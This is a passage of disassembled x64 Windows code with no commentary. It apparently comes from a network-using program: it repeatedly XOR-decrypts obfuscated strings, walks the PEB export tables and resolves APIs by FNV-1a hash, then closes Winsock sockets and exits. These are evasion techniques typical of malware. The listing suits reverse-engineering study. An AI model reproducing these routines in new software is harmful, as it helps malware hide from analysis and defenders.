pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x14000b390
cmp r8d, 0x143
jge 0x14000b4e6
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x14000b4b0
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x50]
call fcn.14000fc80
mov r9, rax
cmp byte [rax + 0x38], 0
je 0x14000b69f
cmp r14d, 2
jl 0x14000b66a
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x38
jl 0x14000b560
cmp edi, 0x39
jge 0x14000b69f
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x39
jl 0x14000b670
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [str.SXDMZYON_]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14001dbe8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x14001dbec]
mov byte [rbp - 0x34], al
mov r8d, edi
cmp r14d, 2
jl 0x14000b822
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14001dc20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
mov eax, dword [0x14001dca0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.SXDMZYON_]
pxor xmm2, xmm1
movd dword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x14001dc30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
pxor xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000b830
lea rax, [rbp + 0xdc0]
lea r8, [rbp - 0x40]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000b884
inc rax
test ecx, ecx
jne 0x14000b871
mov r15d, 2
test edx, edx
jne 0x14000bd00
lea rcx, [rbp + 0x580]
lea rdx, [0x14001d250]
mov eax, r15d
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rax, 1
jne 0x14000b8b0
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rdx + 0x40]
mov word [rcx + 0x40], ax
movzx eax, byte [rdx + 0x42]
mov byte [rcx + 0x42], al
mov r8d, edi
mov ebx, 0x1f
cmp r14d, r15d
jl 0x14000ba95
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x580]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x14000b980
cmp r8d, 0x143
jge 0x14000bae6
movsxd rax, r8d
lea r9, [rbp + 0x580]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x14000bab0
lea rdx, [rbp + 0x580]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
movups xmm0, xmmword [0x14001dbb8]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [0x14001dbc8]
movups xmmword [rbp + 0xa0], xmm1
movzx eax, byte [0x14001dbd8]
mov byte [rbp + 0xb0], al
mov r8d, edi
cmp r14d, r15d
jl 0x14000bc80
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x90]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000bb71
cmp r8d, 0x21
jge 0x14000bcc3
movsxd rax, r8d
lea r9, [rbp + 0x90]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14000bc90
lea rdx, [rbp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [rbp - 0x68], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000bda6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000bda6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000bda1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000bd80
cmp r8d, 0x9a9264ad
je 0x14000bdab
test r9d, r9d
jne 0x14000bd60
mov rax, qword [rax]
jmp 0x14000bd30
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x68]
call rdx
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x978], eax
cmp byte [0x14001d24b], 0
je 0x14000bec2
mov r8d, edi
cmp r14d, 2
jl 0x14000be82
movdqa xmm3, xmmword [0x14001dc20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001dcc0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001dcc0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
mov r13d, 0x1f
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14001dc40]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001dca0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x978], xmm2
jmp 0x14000bec8
lea r9, [rbp + 0x978]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000be90
mov r13d, 0x1f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000bf56
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000bf56
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000bf51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000bf30
cmp r8d, 0x491e0a9c
je 0x14000bf5b
test r9d, r9d
jne 0x14000bf10
mov rax, qword [rax]
jmp 0x14000bee0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x978]
call rdx
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x978], eax
cmp byte [0x14001d24b], 0
je 0x14000c072
mov r8d, edi
cmp r14d, 2
jl 0x14000c02f
movdqa xmm3, xmmword [0x14001dc20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001dcc0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001dcc0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14001dc40]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001dca0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x978], xmm2
jmp 0x14000c072
lea r9, [rbp + 0x978]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000c040
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000c106
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000c106
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c101
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c0e0
cmp r8d, 0x491e0a9c
je 0x14000c10b
test r9d, r9d
jne 0x14000c0c0
mov rax, qword [rax]
jmp 0x14000c090
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x978]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000c1b6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000c1b6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c1b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c190
cmp r8d, 0x2fa62ca8
je 0x14000c1bb
test r9d, r9d
jne 0x14000c170
mov rax, qword [rax]
jmp 0x14000c140
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
movups xmm0, xmmword [str.vC_ZXY_SU_]
movups xmmword [rbp - 0x10], xmm0
movsd xmm1, qword [0x14001d5c8]
movsd qword [rbp], xmm1
mov eax, dword [0x14001d5d0]
mov dword [rbp + 8], eax
movzx eax, byte [0x14001d5d4]
mov byte [rbp + 0xc], al
mov r8d, edi
cmp r14d, 2
jl 0x14000c35f
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r13d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000c250
cmp r8d, 0x1d
jge 0x14000c3a3
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14000c370
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000c436
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000c436
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c431
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c410
cmp r8d, 0x9a9264ad
je 0x14000c43b
test r9d, r9d
jne 0x14000c3f0
mov rax, qword [rax]
jmp 0x14000c3c0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x10]
call rdx
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x978], eax
cmp byte [0x14001d24b], 0
je 0x14000c552
mov r8d, edi
cmp r14d, 2
jl 0x14000c50c
movdqa xmm3, xmmword [0x14001dc20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001dcc0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001dcc0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14001dc40]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001dca0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x978], xmm2
jmp 0x14000c552
lea r9, [rbp + 0x978]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000c520
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000c5e6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000c5e6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c5e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
